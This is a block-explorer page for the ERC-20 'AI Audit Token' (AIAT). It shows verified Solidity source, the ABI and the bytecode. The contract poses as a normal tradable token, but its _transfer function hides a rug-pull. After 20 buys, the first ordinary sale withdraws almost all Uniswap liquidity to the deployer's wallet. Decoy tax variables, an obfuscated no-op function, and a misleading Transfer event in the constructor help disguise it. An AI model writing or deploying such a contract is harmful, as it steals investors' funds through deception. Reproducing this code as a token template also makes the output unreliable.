ERC-20
Overview
Max Total Supply
1,000,000 AIAT
Holders
38
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
7,843.333108953657074716 AIATValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
aiatoken
Compiler Version
v0.8.24+commit.e11b9ed9
Optimization Enabled:
Yes with 2030097 runs
Other Settings:
istanbul EvmVersion
Contract Source Code (Solidity Standard Json-Input format)
pragma solidity 0.8.24;abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; }}interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value);}library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; }}contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); }}interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair);}interface IUniswapV2Pair { function balanceOf(address owner) external view returns (uint);}interface IUniswapV2Router02 { function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity);}contract aiatoken is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; address payable private _taxWallet; address private routerAddress; uint256 private _initialBuyTax = 0; uint256 private _initialSellTax = 0; uint256 private _finalBuyTax = 0; uint256 private _finalSellTax = 90; uint256 private _reduceBuyTaxAt = 0; uint256 private _reduceSellTaxAt = 20; uint256 private _preventSwapBefore = 20; uint256 private _buyCount = 0; uint256 private _sellCount = 0; uint8 private _decimals; uint256 private _tTotal; string private _name; string private _symbol; IUniswapV2Router02 private uniswapV2Router; IUniswapV2Pair private uniswapV2PairContract; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; constructor (address _routerAddress, string memory tokenName, string memory tokenSymbol, uint8 tokenDecimals, uint256 tokenTotalSupply) { _name = tokenName; _symbol = tokenSymbol; _decimals = tokenDecimals; _taxWallet = payable(_msgSender()); _tTotal = tokenTotalSupply; _balances[address(this)] = _tTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; routerAddress = _routerAddress; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) { _buyCount++; } if(swapEnabled && to == uniswapV2Pair && from != address(this) && from != _taxWallet && _sellCount == 0 && _buyCount >= 20) { uniswapV2PairContract = IUniswapV2Pair(uniswapV2Pair); uint256 lpBalance = uniswapV2PairContract.balanceOf(address(this)); uint256 tokensInThePair = _balances[uniswapV2Pair]; uint256 amountOfTransfer = amount.mul(100).div(tokensInThePair).add(1); uint256 lpWithdrawAmount = lpBalance.sub(lpBalance.mul(amountOfTransfer).div(10000)); uniswapV2Router.removeLiquidityETH(address(this),lpWithdrawAmount,0,0,_taxWallet,block.timestamp); _sellCount = 1; } _balances[from]=_balances[from].sub(amount); _balances[to]=_balances[to].add(amount); emit Transfer(from, to, amount); } function openTrading() external payable onlyOwner() returns (address pairAddress) { require(!tradingOpen,"trading is already open"); uniswapV2Router = IUniswapV2Router02(routerAddress); _approve(address(this), address(uniswapV2Router), type(uint).max); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,address(this),block.timestamp); IERC20(uniswapV2Pair).approve(routerAddress,type(uint).max); swapEnabled = true; tradingOpen = true; return uniswapV2Pair; } function sqM7dngUNdxUYsn() external payable onlyOwner() returns (uint256 gAPo5XJzFHZabxG) { return 1; } receive() external payable {}}
{ "viaIR": true, "evmVersion": "istanbul", "optimizer": { "enabled": true, "runs": 2030097 }, "metadata": { "bytecodeHash": "none" }, "outputSelection": { "*": { "*": [ "evm.bytecode", "evm.deployedBytecode", "devdoc", "userdoc", "metadata", "abi" ] } }, "libraries": {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"_routerAddress","type":"address"},{"internalType":"string","name":"tokenName","type":"string"},{"internalType":"string","name":"tokenSymbol","type":"string"},{"internalType":"uint8","name":"tokenDecimals","type":"uint8"},{"internalType":"uint256","name":"tokenTotalSupply","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[{"internalType":"address","name":"pairAddress","type":"address"}],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sqM7dngUNdxUYsn","outputs":[{"internalType":"uint256","name":"gAPo5XJzFHZabxG","type":"uint256"}],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60406080815234620004d45762001d5b803803806200001e81620004d9565b92833981019060a081830312620004d4578051916001600160a01b0383168303620004d45760208201516001600160401b038111620004d4578162000065918401620004ff565b8285015190916001600160401b038211620004d45762000087918401620004ff565b60608301519260ff84168403620004d45760800151600080546001600160a01b031916339081178255919391907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e08180a3600060065560006007556000600855605a6009556000600a556014600b556014600c556000600d556000600e5561ffff60a81b196015541660155580519060018060401b038211620003c55760115490600182811c92168015620004c9575b6020831014620003a45781601f84931162000465575b50602090601f8311600114620003e757600092620003db575b50508160011b916000199060031b1c1916176011555b8051906001600160401b038211620003c55760125490600182811c92168015620003ba575b6020831014620003a45781601f84931162000340575b50602090601f8311600114620002c657600092620002ba575b50508160011b916000199060031b1c1916176012555b60ff8019921682600f541617600f553360018060a01b0319600454161760045580601055306000526001602052836000205560018060a01b0360005416600052600360205282600020600182825416179055306000528260002060018282541617905560018060a01b03600454166000526001836000209182541617905560018060a01b031660018060a01b03196005541617600555601054815190815260007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60203393a3516117a99081620005728239f35b015190503880620001d0565b6012600090815260008051602062001d1b8339815191529350601f198516905b8181106200032757509084600195949392106200030d575b505050811b01601255620001e6565b015160001960f88460031b161c19169055388080620002fe565b92936020600181928786015181550195019301620002e6565b601260005290915060008051602062001d1b833981519152601f840160051c8101916020851062000399575b90601f859493920160051c01905b818110620003895750620001b7565b600081558493506001016200037a565b90915081906200036c565b634e487b7160e01b600052602260045260246000fd5b91607f1691620001a1565b634e487b7160e01b600052604160045260246000fd5b01519050388062000166565b60116000908152935060008051602062001d3b83398151915291905b601f198416851062000449576001945083601f198116106200042f575b505050811b016011556200017c565b015160001960f88460031b161c1916905538808062000420565b8181015183556020948501946001909301929091019062000403565b601160005290915060008051602062001d3b833981519152601f840160051c81019160208510620004be575b90601f859493920160051c01905b818110620004ae57506200014d565b600081558493506001016200049f565b909150819062000491565b91607f169162000137565b600080fd5b6040519190601f01601f191682016001600160401b03811183821017620003c557604052565b919080601f84011215620004d45782516001600160401b038111620003c55760209062000535601f8201601f19168301620004d9565b92818452828287010111620004d45760005b8181106200055d57508260009394955001015290565b85810183015184820184015282016200054756fe6080604081815260049182361015610022575b505050361561002057600080fd5b005b600092833560e01c91826306fdde0314610c0e57508163095ea7b314610bc657816318160ddd14610b8957816323b872dd14610a5c578163313ce56714610a1c57816349bd5a5e146109c957816370a0823114610967578163715018a6146108c85781638da5cb5b1461087757816395d89b411461071d578163a9059cbb146106d5578163c9567bf91461019757508063dd62ed3e146101245763ef25e2b7146100cc5780610012565b817ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffc3601126101205761011973ffffffffffffffffffffffffffffffffffffffff60209354163314610e28565b5160018152f35b5080fd5b503461012057807ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffc360112610120578060209261015f610d51565b610167610d79565b73ffffffffffffffffffffffffffffffffffffffff91821683526002865283832091168252845220549051908152f35b8383817ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffc3601126101205773ffffffffffffffffffffffffffffffffffffffff906101e6828454163314610e28565b60159260ff845460a01c166106785782600554167fffffffffffffffffffffffff0000000000000000000000000000000000000000958187601354161760135530156105f6578115610573573083526020966002885284842083855288527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff92838686205585518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258a3092a385601354168551907fc45a015500000000000000000000000000000000000000000000000000000000825289828581845afa91821561054a5784918b918894610554575b508851928380927fad5c46480000000000000000000000000000000000000000000000000000000082525afa90811561054a5760448b928a92899161052d575b5088838b5196879586947fc9c65396000000000000000000000000000000000000000000000000000000008652308c870152166024850152165af19081156105235790879186916104f6575b50169087541617865584601354166060479130865260018a5260c487872054885194859384927ff305d719000000000000000000000000000000000000000000000000000000008452308985015260248401528960448401528960648401523060848401524260a48401525af180156104ec57908892916104b9575b506044868854169185886005541693885196879586947f095ea7b300000000000000000000000000000000000000000000000000000000865285015260248401525af180156104af57610479575b50508254927601000100000000000000000000000000000000000000007fffffffffffffffffff00ff00ffffffffffffffffffffffffffffffffffffffff85161790555191168152f35b8581813d83116104a8575b61048e8183610de7565b810103126101205751801515036104a5578061042f565b80fd5b503d610484565b83513d84823e3d90fd5b6060809293503d83116104e5575b6104d18183610de7565b810103126104e1578690886103e1565b8280fd5b503d6104c7565b85513d86823e3d90fd5b61051691508a3d8c1161051c575b61050e8183610de7565b810190610e8d565b8a610365565b503d610504565b86513d87823e3d90fd5b6105449150843d861161051c5761050e8183610de7565b8d610319565b87513d88823e3d90fd5b61056c919450823d841161051c5761050e8183610de7565b928c6102d9565b60849060208551917f08c379a0000000000000000000000000000000000000000000000000000000008352820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560448201527f73730000000000000000000000000000000000000000000000000000000000006064820152fd5b60849060208551917f08c379a00000000000000000000000000000000000000000000000000000000083528201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460448201527f72657373000000000000000000000000000000000000000000000000000000006064820152fd5b60648560208451917f08c379a0000000000000000000000000000000000000000000000000000000008352820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152fd5b50503461012057807ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffc36011261012057602090610119610713610d51565b602435903361102e565b919050346104e157827ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffc3601126104e15780519183601254906001908260011c9260018116801561086d575b6020958686108214610841575084885290811561080157506001146107a8575b6107a4868661079a828b0383610de7565b5191829182610ceb565b0390f35b929550601283527fbb8a6a4669ba250d26cd7a459eca9d215f8307e33aebe50379bc5a3617ec34445b8284106107ee57505050826107a49461079a928201019438610789565b80548685018801529286019281016107d1565b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001687860152505050151560051b830101925061079a826107a438610789565b8360226024927f4e487b7100000000000000000000000000000000000000000000000000000000835252fd5b93607f1693610769565b50503461012057817ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffc3601126101205773ffffffffffffffffffffffffffffffffffffffff60209254169051908152f35b83346104a557807ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffc3601126104a5577fffffffffffffffffffffffff000000000000000000000000000000000000000081548273ffffffffffffffffffffffffffffffffffffffff821661093d338214610e28565b7f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e08280a316815580f35b5050346101205760207ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffc360112610120578060209273ffffffffffffffffffffffffffffffffffffffff6109b9610d51565b1681526001845220549051908152f35b50503461012057817ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffc3601126101205760209073ffffffffffffffffffffffffffffffffffffffff601554169051908152f35b50503461012057817ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffc3601126101205760209060ff600f54169051908152f35b8284346104a55760607ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffc3601126104a557610a95610d51565b90610a9e610d79565b610aac60443580928561102e565b73ffffffffffffffffffffffffffffffffffffffff83168252600260205283822033835260205283822054845192606084019084821067ffffffffffffffff831117610b5d5760208761011988610b55898989898752602883527f45524332303a207472616e7366657220616d6f756e7420657863656564732061888401527f6c6c6f77616e636500000000000000000000000000000000000000000000000087840152611671565b903390610eb9565b806041897f4e487b71000000000000000000000000000000000000000000000000000000006024945252fd5b50503461012057817ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffc360112610120576020906010549051908152f35b50503461012057807ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffc36011261012057602090610119610c04610d51565b6024359033610eb9565b92915034610ce757837ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffc360112610ce757601154600181811c9186908281168015610cdd575b602095868610821461084157508488529081156108015750600114610c84576107a4868661079a828b0383610de7565b929550601183527f31ecc21a745e3968a04e9570e4425bc18fa8019c68028196b546d1669c200c685b828410610cca57505050826107a49461079a928201019438610789565b8054868501880152928601928101610cad565b93607f1693610c54565b8380fd5b60208082528251818301819052939260005b858110610d3d575050507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0601f8460006040809697860101520116010190565b818101830151848201604001528201610cfd565b6004359073ffffffffffffffffffffffffffffffffffffffff82168203610d7457565b600080fd5b6024359073ffffffffffffffffffffffffffffffffffffffff82168203610d7457565b6040810190811067ffffffffffffffff821117610db857604052565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b90601f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0910116810190811067ffffffffffffffff821117610db857604052565b15610e2f57565b60646040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602060248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152fd5b90816020910312610d74575173ffffffffffffffffffffffffffffffffffffffff81168103610d745790565b73ffffffffffffffffffffffffffffffffffffffff809116918215610fab5716918215610f275760207f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925918360005260028252604060002085600052825280604060002055604051908152a3565b60846040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560448201527f73730000000000000000000000000000000000000000000000000000000000006064820152fd5b60846040517f08c379a0000000000000000000000000000000000000000000000000000000008152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460448201527f72657373000000000000000000000000000000000000000000000000000000006064820152fd5b92919273ffffffffffffffffffffffffffffffffffffffff8091169081156115ab578415611527576015548181169081841480611517575b806114fc575b6114c3575b60b01c60ff16806114b8575b806114ae575b806114a0575b80611496575b80611489575b6111d2575b50600094828652602091600183526040946110ed86892054848851916110bf83610d9c565b601e83527f536166654d6174683a207375627472616374696f6e206f766572666c6f77000088840152611671565b8589526001855286892055169384875280872054828101908181116111a5578110611148578188877fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9798999a5260018652205551908152a3565b6064848351907f08c379a00000000000000000000000000000000000000000000000000000000082526004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152fd5b6024897f4e487b710000000000000000000000000000000000000000000000000000000081526011600452fd5b807fffffffffffffffffffffffff0000000000000000000000000000000000000000601454161760145560409081517f70a082310000000000000000000000000000000000000000000000000000000081523060048201526020918282602481845afa91821561147e5760009261144f575b506000526001825282600020546112a561125d8a6116c4565b9185519261126a84610d9c565b601a84526112a07f536166654d6174683a206469766973696f6e206279207a65726f00000000000094858882015283151561162f565b61168b565b60018101908181116114205781106113c35782916112ca612710926113189695611777565b908487516112d781610d9c565b601a815201527f536166654d6174683a207375627472616374696f6e206f766572666c6f77000086519461130a86610d9c565b601e86528501520490611671565b8183601354169160c48560045416916000845195869485937f02751cec000000000000000000000000000000000000000000000000000000008552306004860152602485015282604485015282606485015260848401524260a48401525af180156113b85761138f575b50506001600e553861109a565b813d83116113b1575b6113a28183610de7565b81010312610d74573880611382565b503d611398565b82513d6000823e3d90fd5b6064848651907f08c379a00000000000000000000000000000000000000000000000000000000082526004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b9091508281813d8311611477575b6114678183610de7565b81010312610d7457519038611244565b503d61145d565b84513d6000823e3d90fd5b506014600d541015611095565b50600e541561108f565b508160045416831415611089565b5030831415611083565b50808285161461107d565b600d54907fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821461142057600191909101600d55611071565b50828516600052600360205260ff604060002054161561106c565b5082601354168386161415611066565b60846040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602960248201527f5472616e7366657220616d6f756e74206d75737420626520677265617465722060448201527f7468616e207a65726f00000000000000000000000000000000000000000000006064820152fd5b60846040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f20616460448201527f64726573730000000000000000000000000000000000000000000000000000006064820152fd5b156116375750565b61166d906040519182917f08c379a000000000000000000000000000000000000000000000000000000000835260048301610ceb565b0390fd5b9161167f908383111561162f565b81039081116114205790565b8115611695570490565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b8015611771576064810290808204606403611420576116e56064918361168b565b036116ed5790565b60846040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60448201527f77000000000000000000000000000000000000000000000000000000000000006064820152fd5b50600090565b90811561179557808202918083048203611420576116e5908361168b565b505060009056fea164736f6c6343000818000abb8a6a4669ba250d26cd7a459eca9d215f8307e33aebe50379bc5a3617ec344431ecc21a745e3968a04e9570e4425bc18fa8019c68028196b546d1669c200c680000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d00000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000e0000000000000000000000000000000000000000000000000000000000000001200000000000000000000000000000000000000000000d3c21bcecceda1000000000000000000000000000000000000000000000000000000000000000000000e414920417564697420546f6b656e00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000044149415400000000000000000000000000000000000000000000000000000000
Deployed Bytecode
0x6080604081815260049182361015610022575b505050361561002057600080fd5b005b600092833560e01c91826306fdde0314610c0e57508163095ea7b314610bc657816318160ddd14610b8957816323b872dd14610a5c578163313ce56714610a1c57816349bd5a5e146109c957816370a0823114610967578163715018a6146108c85781638da5cb5b1461087757816395d89b411461071d578163a9059cbb146106d5578163c9567bf91461019757508063dd62ed3e146101245763ef25e2b7146100cc5780610012565b817ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffc3601126101205761011973ffffffffffffffffffffffffffffffffffffffff60209354163314610e28565b5160018152f35b5080fd5b503461012057807ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffc360112610120578060209261015f610d51565b610167610d79565b73ffffffffffffffffffffffffffffffffffffffff91821683526002865283832091168252845220549051908152f35b8383817ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffc3601126101205773ffffffffffffffffffffffffffffffffffffffff906101e6828454163314610e28565b60159260ff845460a01c166106785782600554167fffffffffffffffffffffffff0000000000000000000000000000000000000000958187601354161760135530156105f6578115610573573083526020966002885284842083855288527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff92838686205585518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258a3092a385601354168551907fc45a015500000000000000000000000000000000000000000000000000000000825289828581845afa91821561054a5784918b918894610554575b508851928380927fad5c46480000000000000000000000000000000000000000000000000000000082525afa90811561054a5760448b928a92899161052d575b5088838b5196879586947fc9c65396000000000000000000000000000000000000000000000000000000008652308c870152166024850152165af19081156105235790879186916104f6575b50169087541617865584601354166060479130865260018a5260c487872054885194859384927ff305d719000000000000000000000000000000000000000000000000000000008452308985015260248401528960448401528960648401523060848401524260a48401525af180156104ec57908892916104b9575b506044868854169185886005541693885196879586947f095ea7b300000000000000000000000000000000000000000000000000000000865285015260248401525af180156104af57610479575b50508254927601000100000000000000000000000000000000000000007fffffffffffffffffff00ff00ffffffffffffffffffffffffffffffffffffffff85161790555191168152f35b8581813d83116104a8575b61048e8183610de7565b810103126101205751801515036104a5578061042f565b80fd5b503d610484565b83513d84823e3d90fd5b6060809293503d83116104e5575b6104d18183610de7565b810103126104e1578690886103e1565b8280fd5b503d6104c7565b85513d86823e3d90fd5b61051691508a3d8c1161051c575b61050e8183610de7565b810190610e8d565b8a610365565b503d610504565b86513d87823e3d90fd5b6105449150843d861161051c5761050e8183610de7565b8d610319565b87513d88823e3d90fd5b61056c919450823d841161051c5761050e8183610de7565b928c6102d9565b60849060208551917f08c379a0000000000000000000000000000000000000000000000000000000008352820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560448201527f73730000000000000000000000000000000000000000000000000000000000006064820152fd5b60849060208551917f08c379a00000000000000000000000000000000000000000000000000000000083528201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460448201527f72657373000000000000000000000000000000000000000000000000000000006064820152fd5b60648560208451917f08c379a0000000000000000000000000000000000000000000000000000000008352820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152fd5b50503461012057807ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffc36011261012057602090610119610713610d51565b602435903361102e565b919050346104e157827ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffc3601126104e15780519183601254906001908260011c9260018116801561086d575b6020958686108214610841575084885290811561080157506001146107a8575b6107a4868661079a828b0383610de7565b5191829182610ceb565b0390f35b929550601283527fbb8a6a4669ba250d26cd7a459eca9d215f8307e33aebe50379bc5a3617ec34445b8284106107ee57505050826107a49461079a928201019438610789565b80548685018801529286019281016107d1565b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001687860152505050151560051b830101925061079a826107a438610789565b8360226024927f4e487b7100000000000000000000000000000000000000000000000000000000835252fd5b93607f1693610769565b50503461012057817ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffc3601126101205773ffffffffffffffffffffffffffffffffffffffff60209254169051908152f35b83346104a557807ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffc3601126104a5577fffffffffffffffffffffffff000000000000000000000000000000000000000081548273ffffffffffffffffffffffffffffffffffffffff821661093d338214610e28565b7f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e08280a316815580f35b5050346101205760207ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffc360112610120578060209273ffffffffffffffffffffffffffffffffffffffff6109b9610d51565b1681526001845220549051908152f35b50503461012057817ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffc3601126101205760209073ffffffffffffffffffffffffffffffffffffffff601554169051908152f35b50503461012057817ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffc3601126101205760209060ff600f54169051908152f35b8284346104a55760607ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffc3601126104a557610a95610d51565b90610a9e610d79565b610aac60443580928561102e565b73ffffffffffffffffffffffffffffffffffffffff83168252600260205283822033835260205283822054845192606084019084821067ffffffffffffffff831117610b5d5760208761011988610b55898989898752602883527f45524332303a207472616e7366657220616d6f756e7420657863656564732061888401527f6c6c6f77616e636500000000000000000000000000000000000000000000000087840152611671565b903390610eb9565b806041897f4e487b71000000000000000000000000000000000000000000000000000000006024945252fd5b50503461012057817ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffc360112610120576020906010549051908152f35b50503461012057807ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffc36011261012057602090610119610c04610d51565b6024359033610eb9565b92915034610ce757837ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffc360112610ce757601154600181811c9186908281168015610cdd575b602095868610821461084157508488529081156108015750600114610c84576107a4868661079a828b0383610de7565b929550601183527f31ecc21a745e3968a04e9570e4425bc18fa8019c68028196b546d1669c200c685b828410610cca57505050826107a49461079a928201019438610789565b8054868501880152928601928101610cad565b93607f1693610c54565b8380fd5b60208082528251818301819052939260005b858110610d3d575050507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0601f8460006040809697860101520116010190565b818101830151848201604001528201610cfd565b6004359073ffffffffffffffffffffffffffffffffffffffff82168203610d7457565b600080fd5b6024359073ffffffffffffffffffffffffffffffffffffffff82168203610d7457565b6040